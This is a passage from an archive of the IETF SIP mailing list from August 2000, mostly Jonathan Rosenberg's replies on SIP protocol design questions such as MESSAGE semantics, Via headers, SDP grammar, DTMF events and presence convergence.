Message-ID: <398A3A2E.659EE338@dynamicsoft.com> Date: Thu, 03 Aug 2000 23:36:14 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "Simon Tsang (Telcordia Technologies)" Cc: Stan Moyer , "Fox, Mike" , sip@lists.bell-labs.com, dmarples@research.telcordia.com Subject: Re: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit "Simon Tsang (Telcordia Technologies)" wrote: > > Jonathan, > > Please see my comments inserted into your message below: > > > -----Original Message----- > > From: sip-admin@lists.bell-labs.com > > [mailto:sip-admin@lists.bell-labs.com]On Behalf Of Jonathan Rosenberg > > Sent: Thursday, August 03, 2000 2:24 PM > > To: Stan Moyer > > Cc: Fox, Mike; sip@lists.bell-labs.com; dmarples@research.telcordia.com; > > stsang@research.telcordia.com > > Subject: Re: [SIP] Comment ondraft-moyer-sip-appliances-framework-00.txt > > > > I think that MESSAGE is definitely not appropriate for what you are > > trying to do. It is along the same lines of the continued abuse of INFO, > > whereby totally different semantics are defined through the inclusion of > > different bodies. MESSAGE means one thing and one thing only - "please > > render this content for display to someone, and it represents a message > > which may be responded to and is part of a conversation thread". Any > > other usage is inappropriate. > OK. I think there may have been a misunderstanding of what we're proposing > here. What we are proposing is to use MESSAGE *only* to carry the > command/query/whatever between the communicating endpoints. When MESSAGE > finally reaches the destination SIP UA, the body is extracted and passed to > the controlling application. The SIP UA *is not involved* after MESSAGE is > received. The architecture of this is illustrated by the following stacks: > > +-------+ +----------------------+ > | GUI | | Appliance Controller | > +-------+ +----------------------+ > +-------+ +-------+ +----------+ +----+ > | SIP UA+-----------+ SIP UA| | X.10 unit+---------+Lamp| > +-------+ +-------+ +----------+ +----+ > SIP message Control messages > over IP (layer 3) over X.10 (layer 1) > > SIP is used only to carry information on what to do with the lamp to the SIP > UA in the Appliance Controller. It is then the Appl. Controller's job to > extract the control information and do something with it. (In the example > above, it controls the lamp via an X.10 interface.) I would say that this > does not affect the semantics of MESSAGE. Of course it does. You are not displaying them to a user for the purpose of messaging and communications. If you are including content that has semantic meaning to some upper layer system, its not a MESSAGE. Its something else. MESSAGE does not just mean "deliver this to higher layer protocol stack". It means a very specific thing - render this content to the user, where this rendering is some kind of communication which might be responded to. There is no shortage of method names. Another way to look at it is this; if you message were misrouted, and sent to some other SIP UA, would the "right" thing happen? No, it would not. With MESSAGE, the client will redner the content. Stan Moyer adds: > Yes, and this is why we're proposing to use a new MIME type (DMP == Device > Messaging Protocol) for the payload so that if an IM-based system got a > message destined for a device, it wouldn't just try and render the content > (since it would be an incompatible/unknown MIME type). Thats really bad. Come one. If you use xml, its going to be text/xml+dmp, in which case the IM client will likely render the xml. You want to bank on the right thing happening by hoping the guys messaging client is really strict and won't try to render your content? There are no shortage of methods. There is no surcharge per letter or anything. I promise. > Firstly, it is likely that Appliances will be moving around alot. They'll > be going from home to hotel, home to home, home to conference venue, home to > car, home to bus etc. OK, you're unlikely to move your refrigerator around > that much, but it's very likely that appliances such as the Internet Alarm > clock will be moved around (especially on business trips!). Most likely I'm the one moving it around. Why would I need wide area access to my own alarm clocks? Seems like the devices I need wide area access to are the ones I don't have with me to move around, i.e., the ones pretty stable in my house (alarms, oven, fridge, lights, etc.). I don't dispute that they might possibly in some cases move around, but it doesn't seem like the typical case. Choosing a protocol just for support of an unlikely case doesn't seem like the right thing to do. So there will > be a great need to address them as they move between locations and domains. > Henning has already mentioned the possibility of 'naming' your appliances, > so that my kitchen stove could be stove@simon.home.net. This reference can > then be added to your 'favourites' address book. Using HTTP to do this > will require explicit addressing (like the SLP URL Stan showed in the > presentation yesterday) for every single request, and cannot support the > more friendly object@domain representation. Why isn't the addressing http://simon.home.net/stove? I can't add this to my bookmarks? The addressing is just as explicit as in the SIP case. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 23:38:20 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA26377 for ; Thu, 3 Aug 2000 23:38:20 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 44BB744370; Thu, 3 Aug 2000 23:38:17 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 1BE8944338 for ; Thu, 3 Aug 2000 23:38:14 -0400 (EDT) Received: from dynamicsoft.com (1Cust174.tnt2.greensburg.pa.da.uu.net [63.24.227.174]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA29176; Thu, 3 Aug 2000 23:39:42 -0400 (EDT) Message-ID: <398A3BC9.A9AA3588@dynamicsoft.com> Date: Thu, 03 Aug 2000 23:43:05 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Peter Kjellerstedt Cc: sip@lists.bell-labs.com Subject: Re: [SIP] More inconsistencies and questions References: <151F3D2AE9F0D3119E480004ACB8EA37018690E1@cluster01.axis.se> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Peter Kjellerstedt wrote: > > > No, its the former. The spec says that if TCP is used, the response > > goes over the same connection as the request. It is only if the > > server needs to reopen a connection to send a response, that it > > would use the port number in the Via header. > > Hmm, now you have me confused. If we have the following two agents: > > Client-A <-----------> Server-B > Master TCP Port: 5060 Master TCP Port: 5070 > Sending TCP Port: 4711 > > Would the Via that Client-A sends in this case look like: > > Via: SIP/2.0/TCP Client-A:5060 Yes. > > or, would it look like: > > Via: SIP/2.0/TCP Client-A:4711 No. > > My expectation was that the TCP conection would be between > Client-A:4711 and Server-B:5070, and that is where the response > would be sent, unless the connection has been closed for some > reason, in which case Server-B would open a new TCP connection > to Client-A:5060. This would imply that it is the first of these > to Via's that is to be used. Am I right? (This, I believe, is > what I tried to convey in my first message above.) Yes. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 23:41:43 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA27642 for ; Thu, 3 Aug 2000 23:41:43 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id C72BE4437E; Thu, 3 Aug 2000 23:41:07 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 4D34B44338 for ; Thu, 3 Aug 2000 23:41:04 -0400 (EDT) Received: from dynamicsoft.com (1Cust174.tnt2.greensburg.pa.da.uu.net [63.24.227.174]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA29184; Thu, 3 Aug 2000 23:42:37 -0400 (EDT) Message-ID: <398A3C78.452BCEA8@dynamicsoft.com> Date: Thu, 03 Aug 2000 23:46:00 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Garret Wilson Cc: SIP List Subject: Re: [SIP] via headers required? References: <011e01bffd9e$c304e040$1bdd4240@sfmissn1.sfba.home.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Yes, they are always required since the UAC MUST insert them. Garret Wilson wrote: > > draft-ietf-sip-2542bis-00 claims, in section 6.45.1, that all requests must > contain at least one "Via:" header. Yet there are examples in the same > document that don't. Are via headers required? > > Garret Wilson > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 3 23:56:28 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA02442 for ; Thu, 3 Aug 2000 23:56:28 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 64BA344389; Thu, 3 Aug 2000 23:55:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 1D45844338 for ; Thu, 3 Aug 2000 23:55:56 -0400 (EDT) Received: from dynamicsoft.com (1Cust174.tnt2.greensburg.pa.da.uu.net [63.24.227.174]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id XAA29205; Thu, 3 Aug 2000 23:57:23 -0400 (EDT) Message-ID: <398A3FEE.1F763723@dynamicsoft.com> Date: Fri, 04 Aug 2000 00:00:46 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Henning Schulzrinne Cc: Steve Donovan , Rohan Mahy , sip@lists.bell-labs.com Subject: Re: [SIP] Session header References: <398853C8.6ED2AD45@dynamicsoft.com> <398A200F.25098DD0@cs.columbia.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Sounds reasonable. -Jonathan R. Henning Schulzrinne wrote: > > > Agreed. The purpose of the tag in the content-disposition header is to > > indicate when > > some aspect of the session described by the content impacts the > > operation of sip. As > > the operation does not depend on whether the precondition itself is qos > > or security, > > a single tag should suffice. In fact, perhaps we should call it > > "precondition"? > > I assume this should be in the manyfolks draft, presumably as a separate > parameter, as in > > Content-Disposition: session ;handling=required ;precondition -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 00:03:04 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA04001 for ; Fri, 4 Aug 2000 00:03:03 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id A6AD24438B; Fri, 4 Aug 2000 00:02:34 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 4E71444338 for ; Fri, 4 Aug 2000 00:02:31 -0400 (EDT) Received: from dynamicsoft.com (1Cust174.tnt2.greensburg.pa.da.uu.net [63.24.227.174]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id AAA29221; Fri, 4 Aug 2000 00:04:03 -0400 (EDT) Message-ID: <398A417E.E2E17B92@dynamicsoft.com> Date: Fri, 04 Aug 2000 00:07:26 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Nilesh Trivedi Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Via header encryption and "received" parameter. References: <3989D316.58F8DD01@cisco.com> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 8bit This already came up on the list and we agreed it should be hidden also. In fact, this has already been folded into rfc2543bis. Quoting section 6.26: > A server hides the previous hop by encrypting the “host” (in both sent-by and via-received), “port”, > “maddr” parts of the top-most Via header field with an algorithm of its choice. Servers SHOULD add > additional “salt” to the “host”and“port” information prior to encryption to prevent malicious downstream > proxies from guessing earlier parts of the path based on seeing identical encrypted Via headers. Hidden Via > fields are marked with the “hidden” Via option, as described in Section 6.47. -Jonathan R. Nilesh Trivedi wrote: > > Hello all, > > Good afternoon. > > Has there been any thoughts on what should be done in case of "Hide" > header is present and the previous hop Via has been received from a > different network address, in case of which the proxy will append a > 'received' parameter to the topmost received Via. > > Hiding is performed only on the "host" and "port" but the received > parameter is still forwarded un-encrypted, so we are exposing route > information here. > > Thanks for your time and inputs. Have a very good day!! > > Regards, > > Nilesh Trivedi. > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 00:36:59 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA13038 for ; Fri, 4 Aug 2000 00:36:58 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 18FAE44362; Fri, 4 Aug 2000 00:36:36 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 62DF644338 for ; Fri, 4 Aug 2000 00:36:32 -0400 (EDT) Received: from dynamicsoft.com (1Cust174.tnt2.greensburg.pa.da.uu.net [63.24.227.174]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id AAA29276; Fri, 4 Aug 2000 00:38:06 -0400 (EDT) Message-ID: <398A4978.F705E9B0@dynamicsoft.com> Date: Fri, 04 Aug 2000 00:41:28 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: archow@hss.hns.com Cc: sip@lists.bell-labs.com Subject: Re: [SIP] A universal problem with the t= line. References: <65256930.001507A3.00@sampark.hss.hns.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I believe SIP should abide by the SDP grammar. Period. If SDP says its zero or nine-or-more characters, so be it. -Jonathan R. archow@hss.hns.com wrote: > > Folks, > Although this is an SDP problem, it seems the interpretation of it by > *many* SIP implementors of the t= line in SDP is taken differently from > what the SDP grammar *explicitly* states. > > According to the grammar: > > t= > > start- time = time | "0" > > time = POS-DIGIT 9*(DIGIT) > > If my interpretation is correct, the above specifies at least a 10 digit t= > value (or 0) > > SDP afaik, is known not to be lenient (unlike SIP headers) and hence any > divergence from SDP grammar should be an error. > > My question is: Is the grammar above of SDP (and its interpretation of it) > correct , and do the sip implementors need to > be aware not to stuff in < 10 digit values in t= field (except 0) > > Regds > Arjun > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 00:41:44 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA14364 for ; Fri, 4 Aug 2000 00:41:44 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 8AD2C44354; Fri, 4 Aug 2000 00:41:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 6F9A344338 for ; Fri, 4 Aug 2000 00:41:19 -0400 (EDT) Received: from dynamicsoft.com (1Cust174.tnt2.greensburg.pa.da.uu.net [63.24.227.174]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id AAA29288; Fri, 4 Aug 2000 00:42:51 -0400 (EDT) Message-ID: <398A4A95.9F2FC3BA@dynamicsoft.com> Date: Fri, 04 Aug 2000 00:46:13 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Rohan Mahy Cc: "Culpepper, Bert" , sip@lists.bell-labs.com Subject: Re: [SIP] DTMF discussion from WG meeting References: <4.1.20000803111008.00b8a4c0@imop.cisco.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Rohan Mahy wrote: > > Hi, > > I think we may have a slightly different definition of first and third > party. I'd say that the moment an app switches from first to third, it > becomes third party and can subscribe to DTMF events. Perhaps I should say > that a first-party cannot *take action* on DTMF events, but a thrid party > should. > > If a 1st party app subscribes to DTMF events, there is a danger that it can > count the same DTMF event twice (once from RTP, and once from the event). Sounds like the kind of nasty things that happen when there are two completely different ways to do the same thing. As I suspect you will not be able to cleanly define a role as either 1st or 3rd, with a clean changeover during which you would never receive events, sounds like one mechanism is the right way to go. -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 02:26:12 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA10760 for ; Fri, 4 Aug 2000 02:26:11 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 72DA54433B; Fri, 4 Aug 2000 02:25:59 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id 90ACF44338 for ; Fri, 4 Aug 2000 02:25:56 -0400 (EDT) Received: from dynamicsoft.com (1Cust174.tnt2.greensburg.pa.da.uu.net [63.24.227.174]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id CAA29406; Fri, 4 Aug 2000 02:27:26 -0400 (EDT) Message-ID: <398A6318.E22B31E1@dynamicsoft.com> Date: Fri, 04 Aug 2000 02:30:48 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Greg Hudson Cc: Henry Sinnreich , impp@iastate.edu, SIP reflector Subject: Re: [SIP] a proposal for a way to compromise? (really, not a joke) References: <200008031754.NAA07241@egyptian-gods.MIT.EDU> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Greg Hudson wrote: > > > From the perspective of a network service provider, it may be > > advantageous to have the smallest number of protocols on the network > > to deliver services. Each new protocol means extra resources to > > develop and maintain OSS, skill sets etc. From this point of view, > > having SIP do many things is an advantage IMHO. > > I hate playing market analyst, but: > > >From the perspective of a network service provider, it may be > advantageous to have the smallest number of *implementations* to > deliver services. If I need one SIP product from company X which > provides IMPP services and another SIP product from company Y which > provides multimedia session management services, that will require > extra resources. Similarly, if I have a single product which > implements both SIP's multimedia session management and some > hypothetical separate IMPP protocol, that won't require extra > resources. (Well, not any more than a single product which implements > both features of SIP.) > > Don't confuse protocols with implementations. Whether the traffic for > applications A and B are framed the same way and/or go over the same > port is basically irrelevant to service providers. > > Also, from the perspective of a network service provider, lumping > multiple applications into the same protocol makes it harder to > filter the protocols separately. So let me be specific about this sharing of resources that I have been advocating: 1. SIP proxies are, at the core, routing engines. They route independent of method (MESSAGE or INVITE or SUBSCRIBE). Service providers deploy them in numbers to get scalable session establishment amongst their users. These proxies would be able to be reused completely, and with no additional management cost. What is used to get an INVITE from user 1 to user 2 gets an IM from user 1 to user 2. 2. SIP networks have repositories of data (I don't want to say databases, since the precise implementations vary - some use real databases, some disk, some memory) which represent the presence status of users connected to the network. Right now, these data repositories are used primarily for the routing functions I mentioned in point 1 above. It is this exact same data which you need for SUBSCRIBE/NOTIFY. The exact same. So, my deployed data repositories, and all the tools I already have to manage looking at it, adding users, etc. are all going to work for provision of presence services. 3. People are building SIP devices like phones and PDAs of all different sorts. These devices will be able to be communicated with through their usage of REGISTER, which is used to upload their presence (location and availability) into the data repositories in point 2. Now, by using this mechanism as the one used for presence publication, all of these devices now become things I can also subscribe to. The devices don't need to be specially enabled for presence. Don't you think it would be cool if it were possible to subscribe to someones cell phone and find out if its off or on? Will there be additional management costs for deploying presence? Surely. You will need additional infrastructure for managing the subscription lists and the notifications. However, the additional costs are much, much less than they would be if I needed to duplicate the stuff I am mentioning above. Let us not bypass the benefits afforded to users of the system. I think it is fair to say users will want to have services that integrate presence with voice, video, and other communications. Thats happening today. By using the same infrastructure for the two, some neat services become possible: 1. I get a new sip phone, plug it in. Now, people can subscribe to that and know when I am talking on the phone. 2. I indicate that I don't want to receive calls from Bob after 5pm. I subscribe to a service which "reflects" these preferences into IM and presence too. This way, I don't get IMs from Bob after 5pm, nor will I honor his subscriptions. Can these kinds of things be done without SIP for presence? Sure. But with much more complexity. Take service 2. I would implement this in SIP by an access control mechanism in my proxy server that, when it receives a request from Bob, rejects it if its after 5pm. Now, this implementation will, for free, reject INVITE, SUBSCRIBE, and MESSAGE with equal ease and little extra work. Thus, providing an integrated communications filtering service is easy. In fact, its *extra* work to make the service different depending on the communications type (not much extra, of course). In IETF (the iptel working group) we have also developed this thing called CPL (Call Processing Language), which is a simple XML scripting language for expressing preferences for sip call routing. Its "uploaded" into proxy servers, and right now its logic executes when an INVITE arrives, controlling how the session initiation is processed. It can express things like service 2 above, plus other things like forwarding preferences. I can route calls based on time of day, caller, subject, priority, etc. Don't you think it would be nice if I, the user, could have as an option this CPL apply to both calls, IMs, and presence messages? Is it not reasonable to say that I want high prioirty IMs and high priroty calls to go to my cell phone? Very, very easy when the same infrastructure is used. Just make sure your CPL executes on not only INVITE, but also MESSAGE and SUBSCRIBE. Thats it. If IM and presence are in a totally separate system, I need to worry about how these kinds of things are programmed in both; propagated to both, and kept consistent. What server is handling the IMs? How do you present a unified interface to the user that can provide both? What if they don't have the same control interfaces for programming these kinds of services? This is very hard. The result - increased cost to the service provider, increased time to deliver, resulting in a poorer user experience. So, from the grounds of service provider benefits *and* user experience (the latter being something we all agreed was very important), how can you argue that such convergence is bad and the wrong direction???? -Jonathan R. -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 02:58:17 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA25980 for ; Fri, 4 Aug 2000 02:58:16 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2A24E44364; Fri, 4 Aug 2000 02:57:30 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id E23DA44338 for ; Fri, 4 Aug 2000 02:57:26 -0400 (EDT) Received: from dynamicsoft.com (1Cust174.tnt2.greensburg.pa.da.uu.net [63.24.227.174]) by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id CAA29454; Fri, 4 Aug 2000 02:59:00 -0400 (EDT) Message-ID: <398A6A7D.832B321E@dynamicsoft.com> Date: Fri, 04 Aug 2000 03:02:21 -0400 From: Jonathan Rosenberg Organization: dynamicsoft X-Mailer: Mozilla 4.7 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Hisham Khartabil Cc: sip@lists.bell-labs.com Subject: Re: [SIP] Legal Loop Detection References: <3987CE5E.9470FF8@ericsson.fi> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit I believe this text must be removed. -Jonathan R. Hisham Khartabil wrote: > > Hi all, > > In section 1.4.5 in the July 13 bis draft, its says: > > "...A proxy server MUST check that it does not generate a request to a > host listed in the Via sent-by, via-received or via-maddr parameters.." > > Is this still true with the new legal loop detection? As we know now, > it is legal to forward a request to a proxy that is already in the via > list. It is up to that proxy to decide if this request has been looped > to it legally or not. So, should this text be changed, or ever removed? > > Thanks, > Hisham Khartabil > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip -- Jonathan D. Rosenberg 72 Eagle Rock Ave. Chief Scientist First Floor dynamicsoft East Hanover, NJ 07936 jdrosen@dynamicsoft.com FAX: (973) 952-5050 http://www.cs.columbia.edu/~jdrosen PHONE: (732) 741-7244 http://www.dynamicsoft.com _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 4 03:11:23 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA01699 for ; Fri, 4 Aug 2000 03:11:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1AC2E4436F; Fri, 4 Aug 2000 03:11:17 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51]) by lists.bell-labs.com (Postfix) with ESMTP id D386744338 for ; Fri, 4 